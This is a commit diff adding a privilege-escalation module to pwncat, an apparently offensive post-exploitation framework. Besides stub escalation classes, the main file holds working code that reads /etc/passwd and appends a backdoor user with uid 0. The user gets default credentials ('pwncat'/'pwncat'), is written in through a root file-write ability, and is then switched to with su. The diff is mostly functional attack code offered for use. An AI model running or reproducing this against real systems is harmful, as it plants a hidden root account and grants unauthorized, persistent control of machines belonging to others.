Added initial implementation of escalation module

pwncat/modules/linux/enumerate/escalate/__init__.py

@@ -0,0 +1,29 @@
+#!/usr/bin/env python3
+from typing import Callable
+
+from pwncat.db import Fact
+from pwncat.manager import Session
+
+
+class EscalationExisting(Fact):
+    """ Escalation step which replaces the active session with a new user """
+
+    def __init__(self, source, uid):
+        super().__init__(source=source, types=["escalate.existing"])
+
+        self.uid = uid
+
+    def escalate(self, session) -> Callable[[Session], None]:
+        """ Escalate the current session to the new user """
+
+
+class EscalationReplace(Fact):
+    """ Escalation step which spawns a new session as a different user """
+
+    def __init__(self, source, uid):
+        super().__init__(source=source, types=["escalate.replace"])
+
+        self.uid = uid
+
+    def execute(self, session) -> Session:
+        """ Execute a new session as a new user """

pwncat/modules/linux/enumerate/escalate/append_passwd.py

@@ -0,0 +1,76 @@
+#!/usr/bin/env python3
+import crypt
+
+from pwncat.modules import ModuleFailed
+from pwncat.modules.agnostic.enumerate import EnumerateModule, Schedule
+from pwncat.modules.linux.enumerate.escalate import EscalationReplace
+from pwncat.platform.linux import Linux
+from pwncat.util import console
+
+
+class AppendPasswd(EscalationReplace):
+    """ Escalation through adding a new user to /etc/passwd """
+
+    def __init__(self, source, ability):
+        super().__init__(source=source, uid=ability.uid)
+
+        self.ability = ability
+
+    def escalate(self, session):
+
+        try:
+            with session.platform.open("/etc/passwd", "r") as filp:
+                passwd_contents = list(filp)
+        except (FileNotFoundError, PermissionError):
+            raise ModuleFailed("failed to read /etc/passwd")
+
+        backdoor_user = session.config.get("backdoor_user", "pwncat")
+        backdoor_pass = session.config.get("backdoor_pass", "pwncat")
+        shell = session.platform.getenv("SHELL")
+
+        # Hash the backdoor password
+        backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512)
+
+        if not any(line.startswith(f"{backdoor_user}:") for line in passwd_contents):
+
+            # Add our password
+            passwd_contents.append(
+                f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}"""
+            )
+
+            try:
+                # Write the modified password entry back
+                with self.ability.open(session, "/etc/passwd", "w") as filp:
+                    filp.writelines(passwd_contents)
+                    filp.write("\n")
+            except (FileNotFoundError, PermissionError):
+                raise ModuleFailed("failed to write /etc/passwd")
+
+        else:
+            console.log(
+                f"[cyan]{backdoor_user}[/cyan] already exists; attempting authentication"
+            )
+
+        try:
+            session.platform.su(backdoor_user, password=backdoor_pass)
+        except PermissionError:
+            raise ModuleFailed("added user, but switch user failed")
+
+    def __str__(self):
+        return f"""add user via [blue]file write[/blue] as [red]root[/red] (w/ {self.ability})"""
+
+
+class Module(EnumerateModule):
+    """ Check for possible methods of escalation via modiying /etc/passwd """
+
+    PROVIDES = ["escalate.replace"]
+    SCHEDULE = Schedule.PER_USER
+    PLATFORM = [Linux]
+
+    def enumerate(self, session):
+
+        for ability in session.run("enumerate.gather", types=["ability.file.write"]):
+            if ability.uid != 0:
+                continue
+
+            yield AppendPasswd(self.name, ability)